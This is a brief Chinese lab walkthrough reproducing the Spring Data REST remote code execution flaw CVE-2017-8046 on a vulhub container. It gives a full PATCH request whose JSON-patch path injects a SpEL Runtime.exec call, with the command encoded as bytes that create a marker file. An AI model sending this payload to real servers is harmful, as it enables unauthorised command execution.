Spring Data Rest 远程命令执行命令(CVE-2017-8046)

（1）访问 http://your-ip:8080/customers/1，然后抓取数据包，使用PATCH请求来修改

PATCH /customers/1 HTTP/1.1

Host:

Accept-Encoding: gzip, deflate

Accept: */*

Accept-Language: en

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)

Connection: close

Content-Type: application/json-patch+json

Content-Length: 202

{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte\[\]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}))/lastname", "value": "vulhub" }

返回kali 输入命令进docker入容器 ls /tmp查看 可以发现 成功创建success